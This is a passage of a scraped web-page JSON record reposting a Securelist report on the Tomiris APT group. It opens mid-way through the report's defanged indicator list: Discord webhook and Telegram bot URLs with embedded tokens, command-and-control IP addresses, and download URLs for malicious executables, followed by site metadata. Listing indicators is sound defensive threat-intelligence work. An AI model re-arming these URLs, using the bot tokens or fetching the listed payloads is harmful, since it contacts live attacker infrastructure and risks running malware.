\\nhxxps:\/\/discord[.]com\/api\/webhooks\/1369277038321467503\/KqfsoVzebWNNGqFXePMxqi0pta2445WZxYNsY9EsYv1u_iyXAfYL3GGG76bCKy3-a75  \\nhxxps:\/\/discord[.]com\/api\/webhooks\/1396726652565848135\/OFds8Do2qH-C_V0ckaF1AJJAqQJuKq-YZVrO1t7cWuvAp7LNfqI7piZlyCcS1qvwpXTZ\\n\\n**Tomiris Python FileGrabber**  \\nhxxp:\/\/62.113.115[.]89\/homepage\/infile.php\\n\\n**Tomiris Python Telegram ReverseShell**  \\nhxxps:\/\/api.telegram[.]org\/bot7562800307:AAHVB7Ctr-K52J-egBlEdVoRHvJcYr-0nLQ\/\\n\\n**Tomiris C# Telegram ReverseShell**  \\nhxxps:\/\/api.telegram[.]org\/bot7804558453:AAFR2OjF7ktvyfygleIneu_8WDaaSkduV7k\/\\n\\n**Tomiris C\/C++ ReverseShell**  \\n77.232.39[.]47  \\n109.172.85[.]63  \\n109.172.85[.]95  \\n185.173.37[.]67  \\n185.231.155[.]111  \\n195.2.81[.]99\\n\\n**Tomiris Rust Downloader**  \\nhxxps:\/\/discordapp[.]com\/api\/webhooks\/1392383639450423359\/TmFw-WY-u3D3HihXqVOOinL73OKqXvi69IBNh_rr15STd3FtffSP2BjAH59ZviWKWJRX  \\nhxxps:\/\/discordapp[.]com\/api\/webhooks\/1363764458815623370\/IMErckdJLreUbvxcUA8c8SCfhmnsnivtwYSf7nDJF-bWZcFcSE2VhXdlSgVbheSzhGYE  \\nhxxps:\/\/discordapp[.]com\/api\/webhooks\/1355019191127904457\/xCYi5fx_Y2-ddUE0CdHfiKmgrAC-Cp9oi-Qo3aFG318P5i-GNRfMZiNFOxFrQkZJNJsR  \\nhxxp:\/\/82.115.223[.]218\/  \\nhxxp:\/\/172.86.75[.]102\/  \\nhxxp:\/\/193.149.129[.]113\/\\n\\n**JLORAT**  \\nhxxp:\/\/82.115.223[.]210:9942\/bot_auth  \\nhxxp:\/\/88.214.26[.]37:9942\/bot_auth  \\nhxxp:\/\/141.98.82[.]198:9942\/bot_auth\\n\\n**Tomiris Rust ReverseShell**  \\n185.209.30[.]41\\n\\n**Tomiris C++ ReverseSocks (based on GitHub \\&#8221;Neosama\/Reverse-SOCKS5\\&#8221;)**  \\n185.231.154[.]84\\n\\n**Tomiris PowerShell Telegram Backdoor**  \\nhxxps:\/\/api.telegram[.]org\/bot8044543455:AAG3Pt4fvf6tJj4Umz2TzJTtTZD7ZUArT8E\/  \\nhxxps:\/\/api.telegram[.]org\/bot7864956192:AAEjExTWgNAMEmGBI2EsSs46AhO7Bw8STcY\/  \\nhxxps:\/\/api.telegram[.]org\/bot8039791391:AAHcE2qYmeRZ5P29G6mFAylVJl8qH_ZVBh8\/  \\nhxxps:\/\/api.telegram[.]org\/bot7157076145:AAG79qKudRCPu28blyitJZptX_4z_LlxOS0\/  \\nhxxps:\/\/api.telegram[.]org\/bot7649829843:AAH_ogPjAfuv-oQ5_Y-s8YmlWR73Gbid5h0\/\\n\\n**Tomiris C# ReverseShell**  \\n206.188.196[.]191  \\n188.127.225[.]191  \\n188.127.251[.]146  \\n94.198.52[.]200  \\n188.127.227[.]226  \\n185.244.180[.]169  \\n91.219.148[.]93\\n\\n**Tomiris Go ReverseShell**  \\n62.113.114[.]209  \\n195.2.78[.]133\\n\\n**Tomiris Go ReverseSocks (based on GitHub \\&#8221;Acebond\/ReverseSocks5\\&#8221;)**  \\n192.165.32[.]78  \\n188.127.231[.]136\\n\\n**AdaptixC2**  \\n77.232.42[.]107  \\n94.198.52[.]210  \\n96.9.124[.]207  \\n192.153.57[.]189  \\n64.7.199[.]193\\n\\n**Havoc**  \\n78.128.112[.]209\\n\\n**Malicious URLs**  \\nhxxp:\/\/188.127.251[.]146:8080\/sbchost.rar  \\nhxxp:\/\/188.127.251[.]146:8080\/sxbchost.exe  \\nhxxp:\/\/192.153.57[.]9\/private\/svchost.exe  \\nhxxp:\/\/193.149.129[.]113\/732.exe  \\nhxxp:\/\/193.149.129[.]113\/system.exe  \\nhxxp:\/\/195.2.79[.]245\/732.exe  \\nhxxp:\/\/195.2.79[.]245\/code.exe  \\nhxxp:\/\/195.2.79[.]245\/firefox.exe  \\nhxxp:\/\/195.2.79[.]245\/rever.exe  \\nhxxp:\/\/195.2.79[.]245\/service.exe  \\nhxxp:\/\/195.2.79[.]245\/winload.exe  \\nhxxp:\/\/195.2.79[.]245\/winload.rar  \\nhxxp:\/\/195.2.79[.]245\/winsrv.rar  \\nhxxp:\/\/195.2.79[.]245\/winupdate.exe  \\nhxxp:\/\/62.113.115[.]89\/offel.exe  \\nhxxp:\/\/82.115.223[.]78\/private\/dwm.exe  \\nhxxp:\/\/82.115.223[.]78\/private\/msview.exe  \\nhxxp:\/\/82.115.223[.]78\/private\/spoolsvc.exe  \\nhxxp:\/\/82.115.223[.]78\/private\/svchost.exe  \\nhxxp:\/\/82.115.223[.]78\/private\/sysmgmt.exe  \\nhxxp:\/\/85.209.128[.]171:8000\/AkelPad.rar  \\nhxxp:\/\/88.214.25[.]249:443\/netexit.rar  \\nhxxp:\/\/89.110.95[.]151\/dwm.exe  \\nhxxp:\/\/89.110.98[.]234\/Rar.exe  \\nhxxp:\/\/89.110.98[.]234\/code.exe  \\nhxxp:\/\/89.110.98[.]234\/rever.rar  \\nhxxp:\/\/89.110.98[.]234\/winload.exe  \\nhxxp:\/\/89.110.98[.]234\/winload.rar  \\nhxxp:\/\/89.110.98[.]234\/winrm.exe  \\nhxxps:\/\/docsino[.]ru\/wp-content\/private\/alone.exe  \\nhxxps:\/\/docsino[.]ru\/wp-content\/private\/winupdate.exe  \\nhxxps:\/\/sss.qwadx[.]com\/12345.exe  \\nhxxps:\/\/sss.qwadx[.]com\/AkelPad.exe  \\nhxxps:\/\/sss.qwadx[.]com\/netexit.rar  \\nhxxps:\/\/sss.qwadx[.]com\/winload.exe  \\nhxxps:\/\/sss.qwadx[.]com\/winsrv.exe&#8221;,&#8221;published&#8221;:&#8221;2025-11-28T07:00:06&#8243;,&#8221;modified&#8221;:&#8221;2025-11-28T07:00:06&#8243;,&#8221;type&#8221;:&#8221;securelist&#8221;,&#8221;title&#8221;:&#8221;Tomiris wreaks Havoc: New tools and techniques of the APT group&#8221;,&#8221;source&#8221;:&#8221;&#8221;,&#8221;references&#8221;:&#8221;&#8221;,&#8221;id&#8221;:&#8221;SECURELIST:58398BFF1C1FE968B141314833D90E86&#8243;,&#8221;bulletinFamily&#8221;:&#8221;blog&#8221;,&#8221;cwe&#8221;:null,&#8221;cvelist&#8221;:[],&#8221;sourceData&#8221;:&#8221;&#8221;,&#8221;sourceHref&#8221;:&#8221;&#8221;,&#8221;cvss&#8221;:{&#8220;score&#8221;:0,&#8221;severity&#8221;:&#8221;NONE&#8221;,&#8221;vector&#8221;:&#8221;NONE&#8221;,&#8221;version&#8221;:&#8221;NONE&#8221;},&#8221;cvss2&#8243;:{},&#8221;cvss3&#8243;:{&#8220;version&#8221;:&#8221;&#8221;,&#8221;vectorString&#8221;:&#8221;&#8221;,&#8221;baseScore&#8221;:0,&#8221;baseSeverity&#8221;:&#8221;&#8221;,&#8221;attackVector&#8221;:&#8221;&#8221;,&#8221;attackComplexity&#8221;:&#8221;&#8221;,&#8221;privilegesRequired&#8221;:&#8221;&#8221;,&#8221;userInteraction&#8221;:&#8221;&#8221;,&#8221;scope&#8221;:&#8221;&#8221;,&#8221;confidentialityImpact&#8221;:&#8221;&#8221;,&#8221;integrityImpact&#8221;:&#8221;&#8221;,&#8221;availabilityImpact&#8221;:&#8221;&#8221;,&#8221;cvssV3&#8243;:{&#8220;version&#8221;:&#8221;&#8221;,&#8221;vectorString&#8221;:&#8221;&#8221;,&#8221;baseScore&#8221;:0,&#8221;baseSeverity&#8221;:&#8221;&#8221;,&#8221;attackVector&#8221;:&#8221;&#8221;,&#8221;attackComplexity&#8221;:&#8221;&#8221;,&#8221;privilegesRequired&#8221;:&#8221;&#8221;,&#8221;userInteraction&#8221;:&#8221;&#8221;,&#8221;scope&#8221;:&#8221;&#8221;,&#8221;confidentialityImpact&#8221;:&#8221;&#8221;,&#8221;integrityImpact&#8221;:&#8221;&#8221;,&#8221;availabilityImpact&#8221;:&#8221;&#8221;}},&#8221;href&#8221;:&#8221;https:\/\/securelist.com\/tomiris-new-tools\/118143\/&#8221;,&#8221;category_name&#8221;:&#8221;News&#8221;,&#8221;post_link&#8221;:&#8221;&#8221;,&#8221;product&#8221;:&#8221;&#8221;,&#8221;version&#8221;:&#8221;&#8221;,&#8221;vendor&#8221;:&#8221;&#8221;,&#8221;ai_description&#8221;:&#8221;&#8221;,&#8221;ai_severity&#8221;:&#8221;&#8221;,&#8221;ai_vendor&#8221;:&#8221;&#8221;,&#8221;ai_product&#8221;:&#8221;&#8221;,&#8221;ai_version&#8221;:&#8221;&#8221;,&#8221;ai_score&#8221;:0}<\/p>\n","protected":false},"excerpt":{"rendered":"<p>{&#8220;lastseen&#8221;:&#8221;2025-11-28T08:05:32&#8243;,&#8221;description&#8221;:&#8221;![](https:\/\/media.kasperskycontenthub.com\/wp-content\/uploads\/sites\/43\/2025\/11\/26075144\/SL-Tomiris-Telegram-featured-990&#215;400.jpg)\\n\\nWhile tracking the activities of the Tomiris threat actor, we identified new malicious operations that began in early 2025. These attacks targeted foreign ministries, intergovernmental&#8230;<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[4],"tags":[6,8,12,13,33,136,7,11,5],"class_list":["post-27908","post","type-post","status-publish","format-standard","hentry","category-category_news","tag-cve","tag-cvss","tag-exploit","tag-news","tag-none","tag-securelist","tag-security","tag-tapic","tag-vulnerability"],"yoast_head":"<!-- This site is optimized with the Yoast SEO plugin v27.5 - https:\/\/yoast.com\/product\/yoast-seo-wordpress\/ -->\n<title>Tomiris wreaks Havoc: New tools and techniques of the APT group_SECURELIST:58398BFF1C1FE968B141314833D90E86 - zero redgem<\/title>\n<meta name=\"robots\" content=\"index, follow, max-snippet:-1, max-image-preview:large, max-video-preview:-1\" \/>\n<link rel=\"canonical\" href=\"https:\/\/zero.redgem.net\/?p=27908\" \/>\n<meta property=\"og:locale\" content=\"en_US\" \/>\n<meta property=\"og:type\" content=\"article\" \/>\n<meta property=\"og:title\" content=\"Tomiris wreaks Havoc: New tools and techniques of the APT group_SECURELIST:58398BFF1C1FE968B141314833D90E86 - zero redgem\" \/>\n<meta property=\"og:description\" content=\"{&#8220;lastseen&#8221;:&#8221;2025-11-28T08:05:32&#8243;,&#8221;description&#8221;:&#8221;![](https:\/\/media.kasperskycontenthub.com\/wp-content\/uploads\/sites\/43\/2025\/11\/26075144\/SL-Tomiris-Telegram-featured-990&#215;400.jpg)nnWhile tracking the activities of the Tomiris threat actor, we identified new malicious operations that began in early 2025. These attacks targeted foreign ministries, intergovernmental...\" \/>\n<meta property=\"og:url\" content=\"https:\/\/zero.redgem.net\/?p=27908\" \/>\n<meta property=\"og:site_name\" content=\"zero redgem\" \/>\n<meta property=\"article:published_time\" content=\"2025-11-28T02:35:02+00:00\" \/>\n<meta name=\"author\" content=\"invoker\" \/>\n<meta name=\"twitter:card\" content=\"summary_large_image\" \/>\n<meta name=\"twitter:label1\" content=\"Written by\" \/>\n\t<meta name=\"twitter:data1\" content=\"invoker\" \/>\n\t<meta name=\"twitter:label2\" content=\"Est. reading time\" \/>\n\t<meta name=\"twitter:data2\" content=\"23 minutes\" \/>\n<script type=\"application\/ld+json\" class=\"yoast-schema-graph\">{\"@context\":\"https:\\\/\\\/schema.org\",\"@graph\":[{\"@type\":\"Article\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=27908#article\",\"isPartOf\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=27908\"},\"author\":{\"name\":\"invoker\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#\\\/schema\\\/person\\\/fbfeae8dfad117ac08a7621bee1a1dca\"},\"headline\":\"Tomiris wreaks Havoc: New tools and techniques of the APT group_SECURELIST:58398BFF1C1FE968B141314833D90E86\",\"datePublished\":\"2025-11-28T02:35:02+00:00\",\"mainEntityOfPage\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=27908\"},\"wordCount\":4729,\"commentCount\":0,\"publisher\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#organization\"},\"keywords\":[\"CVE\",\"CVSS\",\"exploit\",\"news\",\"NONE\",\"securelist\",\"Security\",\"tapic\",\"Vulnerability\"],\"articleSection\":[\"category_news\"],\"inLanguage\":\"en-US\",\"potentialAction\":[{\"@type\":\"CommentAction\",\"name\":\"Comment\",\"target\":[\"https:\\\/\\\/zero.redgem.net\\\/?p=27908#respond\"]}]},{\"@type\":\"WebPage\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=27908\",\"url\":\"https:\\\/\\\/zero.redgem.net\\\/?p=27908\",\"name\":\"Tomiris wreaks Havoc: New tools and techniques of the APT group_SECURELIST:58398BFF1C1FE968B141314833D90E86 - zero redgem\",\"isPartOf\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#website\"},\"datePublished\":\"2025-11-28T02:35:02+00:00\",\"breadcrumb\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=27908#breadcrumb\"},\"inLanguage\":\"en-US\",\"potentialAction\":[{\"@type\":\"ReadAction\",\"target\":[\"https:\\\/\\\/zero.redgem.net\\\/?p=27908\"]}]},{\"@type\":\"BreadcrumbList\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=27908#breadcrumb\",\"itemListElement\":[{\"@type\":\"ListItem\",\"position\":1,\"name\":\"Home\",\"item\":\"https:\\\/\\\/zero.redgem.net\\\/\"},{\"@type\":\"ListItem\",\"position\":2,\"name\":\"Tomiris wreaks Havoc: New tools and techniques of the APT group_SECURELIST:58398BFF1C1FE968B141314833D90E86\"}]},{\"@type\":\"WebSite\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#website\",\"url\":\"https:\\\/\\\/zero.redgem.net\\\/\",\"name\":\"zero redgem\",\"description\":\"\",\"publisher\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#organization\"},\"potentialAction\":[{\"@type\":\"SearchAction\",\"target\":{\"@type\":\"EntryPoint\",\"urlTemplate\":\"https:\\\/\\\/zero.redgem.net\\\/?s={search_term_string}\"},\"query-input\":{\"@type\":\"PropertyValueSpecification\",\"valueRequired\":true,\"valueName\":\"search_term_string\"}}],\"inLanguage\":\"en-US\"},{\"@type\":\"Organization\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#organization\",\"name\":\"zero redgem\",\"url\":\"https:\\\/\\\/zero.redgem.net\\\/\",\"logo\":{\"@type\":\"ImageObject\",\"inLanguage\":\"en-US\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#\\\/schema\\\/logo\\\/image\\\/\",\"url\":\"\",\"contentUrl\":\"\",\"width\":191,\"height\":188,\"caption\":\"zero redgem\"},\"image\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#\\\/schema\\\/logo\\\/image\\\/\"}},{\"@type\":\"Person\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#\\\/schema\\\/person\\\/fbfeae8dfad117ac08a7621bee1a1dca\",\"name\":\"invoker\",\"image\":{\"@type\":\"ImageObject\",\"inLanguage\":\"en-US\",\"@id\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g\",\"url\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g\",\"contentUrl\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g\",\"caption\":\"invoker\"},\"sameAs\":[\"https:\\\/\\\/zero.redgem.net\"],\"url\":\"https:\\\/\\\/zero.redgem.net\\\/?author=1\"}]}<\/script>\n<!-- \/ Yoast SEO plugin. -->","yoast_head_json":{"title":"Tomiris wreaks Havoc: New tools and techniques of the APT group_SECURELIST:58398BFF1C1FE968B141314833D90E86 - zero redgem","robots":{"index":"index","follow":"follow","max-snippet":"max-snippet:-1","max-image-preview":"max-image-preview:large","max-video-preview":"max-video-preview:-1"},"canonical":"https:\/\/zero.redgem.net\/?p=27908","og_locale":"en_US","og_type":"article","og_title":"Tomiris wreaks Havoc: New tools and techniques of the APT group_SECURELIST:58398BFF1C1FE968B141314833D90E86 - zero redgem","og_description":"{&#8220;lastseen&#8221;:&#8221;2025-11-28T08:05:32&#8243;,&#8221;description&#8221;:&#8221;![](https:\/\/media.kasperskycontenthub.com\/wp-content\/uploads\/sites\/43\/2025\/11\/26075144\/SL-Tomiris-Telegram-featured-990&#215;400.jpg)nnWhile tracking the activities of the Tomiris threat actor, we identified new malicious operations that began in early 2025. These attacks targeted foreign ministries, intergovernmental...","og_url":"https:\/\/zero.redgem.net\/?p=27908","og_site_name":"zero redgem","article_published_time":"2025-11-28T02:35:02+00:00","author":"invoker","twitter_card":"summary_large_image","twitter_misc":{"Written by":"invoker","Est. reading time":"23 minutes"},"schema":{"@context":"https:\/\/schema.org","@graph":[{"@type":"Article","@id":"https:\/\/zero.redgem.net\/?p=27908#article","isPartOf":{"@id":"https:\/\/zero.redgem.net\/?p=27908"},"author":{"name":"invoker","@id":"https:\/\/zero.redgem.net\/#\/schema\/person\/fbfeae8dfad117ac08a7621bee1a1dca"},"headline":"Tomiris wreaks Havoc: New tools and techniques of the APT group_SECURELIST:58398BFF1C1FE968B141314833D90E86","datePublished":"2025-11-28T02:35:02+00:00","mainEntityOfPage":{"@id":"https:\/\/zero.redgem.net\/?p=27908"},"wordCount":4729,"commentCount":0,"publisher":{"@id":"https:\/\/zero.redgem.net\/#organization"},"keywords":["CVE","CVSS","exploit","news","NONE","securelist","Security","tapic","Vulnerability"],"articleSection":["category_news"],"inLanguage":"en-US","potentialAction":[{"@type":"CommentAction","name":"Comment","target":["https:\/\/zero.redgem.net\/?p=27908#respond"]}]},{"@type":"WebPage","@id":"https:\/\/zero.redgem.net\/?p=27908","url":"https:\/\/zero.redgem.net\/?p=27908","name":"Tomiris wreaks Havoc: New tools and techniques of the APT group_SECURELIST:58398BFF1C1FE968B141314833D90E86 - zero redgem","isPartOf":{"@id":"https:\/\/zero.redgem.net\/#website"},"datePublished":"2025-11-28T02:35:02+00:00","breadcrumb":{"@id":"https:\/\/zero.redgem.net\/?p=27908#breadcrumb"},"inLanguage":"en-US","potentialAction":[{"@type":"ReadAction","target":["https:\/\/zero.redgem.net\/?p=27908"]}]},{"@type":"BreadcrumbList","@id":"https:\/\/zero.redgem.net\/?p=27908#breadcrumb","itemListElement":[{"@type":"ListItem","position":1,"name":"Home","item":"https:\/\/zero.redgem.net\/"},{"@type":"ListItem","position":2,"name":"Tomiris wreaks Havoc: New tools and techniques of the APT group_SECURELIST:58398BFF1C1FE968B141314833D90E86"}]},{"@type":"WebSite","@id":"https:\/\/zero.redgem.net\/#website","url":"https:\/\/zero.redgem.net\/","name":"zero redgem","description":"","publisher":{"@id":"https:\/\/zero.redgem.net\/#organization"},"potentialAction":[{"@type":"SearchAction","target":{"@type":"EntryPoint","urlTemplate":"https:\/\/zero.redgem.net\/?s={search_term_string}"},"query-input":{"@type":"PropertyValueSpecification","valueRequired":true,"valueName":"search_term_string"}}],"inLanguage":"en-US"},{"@type":"Organization","@id":"https:\/\/zero.redgem.net\/#organization","name":"zero redgem","url":"https:\/\/zero.redgem.net\/","logo":{"@type":"ImageObject","inLanguage":"en-US","@id":"https:\/\/zero.redgem.net\/#\/schema\/logo\/image\/","url":"","contentUrl":"","width":191,"height":188,"caption":"zero redgem"},"image":{"@id":"https:\/\/zero.redgem.net\/#\/schema\/logo\/image\/"}},{"@type":"Person","@id":"https:\/\/zero.redgem.net\/#\/schema\/person\/fbfeae8dfad117ac08a7621bee1a1dca","name":"invoker","image":{"@type":"ImageObject","inLanguage":"en-US","@id":"https:\/\/secure.gravatar.com\/avatar\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g","url":"https:\/\/secure.gravatar.com\/avatar\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g","contentUrl":"https:\/\/secure.gravatar.com\/avatar\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g","caption":"invoker"},"sameAs":["https:\/\/zero.redgem.net"],"url":"https:\/\/zero.redgem.net\/?author=1"}]}},"_links":{"self":[{"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/posts\/27908","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=27908"}],"version-history":[{"count":0,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/posts\/27908\/revisions"}],"wp:attachment":[{"href":"https:\/\/zero.redgem.net\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=27908"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=27908"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=27908"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}